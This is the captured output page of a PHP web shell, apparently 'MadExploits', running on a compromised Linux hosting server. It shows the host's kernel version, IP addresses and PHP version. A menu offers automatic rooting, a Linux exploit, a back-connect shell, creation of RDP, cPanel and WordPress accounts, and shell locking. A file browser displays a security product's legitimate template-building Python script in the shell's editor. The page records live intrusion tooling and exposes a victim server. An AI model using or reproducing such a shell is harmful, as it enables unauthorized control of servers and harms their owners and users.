Linux eyewebsolution.dnshostserver.in 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
Apache
: 185.131.55.234 | : 216.73.216.138
674 Domain
5.6.40
omxrelocation
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
imunify360-webshield /
[ HOME SHELL ]
Name
Size
Permission
Action
captcha
[ DIR ]
drwxr-xr-x
modules
[ DIR ]
drwxr-xr-x
splashscreen
[ DIR ]
drwxr-xr-x
.webshieldctl.status
10
B
-rw-r--r--
access_checker.conf
231
B
-rw-r--r--
build_includes.py
4.98
KB
-rwxr-xr-x
gen_ports_conf
6.5
KB
-rwxr-xr-x
gen_ports_conf.py
6.5
KB
-rwxr-xr-x
modularity_mode
11
B
-rw-r--r--
sentry
109
B
-rw-r--r--
webshield-watchdog
9.66
KB
-rwxr-xr-x
webshieldctl
24.01
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : build_includes.py
#!/opt/imunify360/venv/bin/python3 import codecs import functools import os import re import subprocess import sys import jinja2 from babel.messages.pofile import read_po EXT = 'html' LANG_BASENAME = 'lang.conf' LANG_LINE = '"~^{lang}" {lang};' LOCALE_PATH = 'locale' INCLUDE = '{{["{path}/" .. (ngx.var.{item}_lang or "en") .. "/{name}.{ext}"]}}' CURRENT_LOCALE = '{{{{ngx.var.{item}_lang or "en"}}}}' VARIABLES = { 'client_ip': '{{ngx.var.wsuserip or ngx.var.remote_addr}}', "domain": '{{ngx.var.host or "Server"}}', "webshield": True, } def _gettext(message, **_): name = _normalize(message) item = '' return INCLUDE.format(path=LOCALE_PATH, item=item, name=name, ext=EXT) def _captcha_gettext(message, **_): name = _normalize(message) item = 'captcha' return INCLUDE.format(path=LOCALE_PATH, item=item, name=name, ext=EXT) def _splashscreen_gettext(message, **_): name = _normalize(message) item = 'splashscreen' return INCLUDE.format(path=LOCALE_PATH, item=item, name=name, ext=EXT) @functools.lru_cache() def _normalize(s): s = re.sub('<.*?>', '', s) s = re.sub('{.*?}', '', s) s = s.lower() s = re.sub('[^a-z0-9 ]', '', s) s = re.sub('\s+', '_', s) return s def _mkdir_p(path): try: os.makedirs(path) except FileExistsError: pass class Template: items = { 'captcha': _captcha_gettext, 'splashscreen': _splashscreen_gettext} def __init__(self, tpl_path, item): path, self.filename = os.path.split(tpl_path) jinja_env = jinja2.Environment( extensions=['jinja2.ext.i18n'], loader=jinja2.FileSystemLoader(path or './'), ) jinja_env.globals['_'] = self.items.get(item, _gettext) self.jinja_env = jinja_env def render(self, context): return self.jinja_env.get_template(self.filename).render(context) def render_template(item, source, destination_dir): template = os.path.join(source, item, 'templates', 'index.html') destination = os.path.join(destination_dir, item) _mkdir_p(destination) fullname = os.path.join(destination, 'index.html') _vars = dict(VARIABLES, current_locale=CURRENT_LOCALE.format(item=item)) with codecs.open(fullname, 'w', encoding='utf-8') as w: render = Template(template, item).render(_vars) w.write(render) def _make_locale(item, translation_dir, destination_dir, lang): path = os.path.join(translation_dir, lang, 'LC_MESSAGES', 'messages.po') with codecs.open(path, encoding='utf-8') as r: po = read_po(r) locale = os.path.join(destination_dir, LOCALE_PATH, lang) _mkdir_p(locale) _vars = dict(VARIABLES, current_locale=CURRENT_LOCALE.format(item=item)) for message in po: if message.id: basename = os.extsep.join([_normalize(message.id), EXT]) msg = message.string or message.id rendered = msg.format( client_ip=_vars['client_ip'], current_locale=_vars['current_locale'], domain=_vars['domain'], webshield=_vars['webshield']) fullname = os.path.join(locale, basename) with codecs.open(fullname, 'w', encoding='utf-8') as w: w.write(rendered) def convert_translations(item, source, dst_prefix): translation_dir = os.path.join(source, item, 'translations', 'locale') destination_dir = os.path.join(dst_prefix, item) locales = os.listdir(translation_dir) for lang in locales: _make_locale(item, translation_dir, destination_dir, lang) return locales def print_lang(name, locales, target): if target is not None: conf_dir = os.path.join(target, name) _mkdir_p(conf_dir) conf_path = os.path.join(conf_dir, LANG_BASENAME) with codecs.open(conf_path, 'w', encoding='utf-8') as w: for lang in sorted(locales): w.write(LANG_LINE.format(lang=lang) + '\n') else: for lang in sorted(locales): print(LANG_LINE.format(lang=lang)) def copy_static(source, destination, prefix): static_src = os.path.join(source, prefix, 'static') if os.path.isdir(static_src): static_dst = os.path.join( destination, prefix, 'a9bc224bd710f56d27affffddc764239b58c3faa0') _mkdir_p(static_dst) # '/.' is a special syntax of 'cp' command, meaning copying # the contents of the directory, not the directory itself cmd = ['cp', '-r', static_src + '/.', static_dst + '/'] subprocess.call(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) def main(): items = sys.argv[1].split(',') src = sys.argv[2] dst = sys.argv[3] target = sys.argv[4] if len(sys.argv) > 4 else None for item in items: render_template(item, src, dst) locales = convert_translations(item, src, dst) print_lang(item, locales, target) copy_static(src, dst, item) if __name__ == '__main__': main()
Close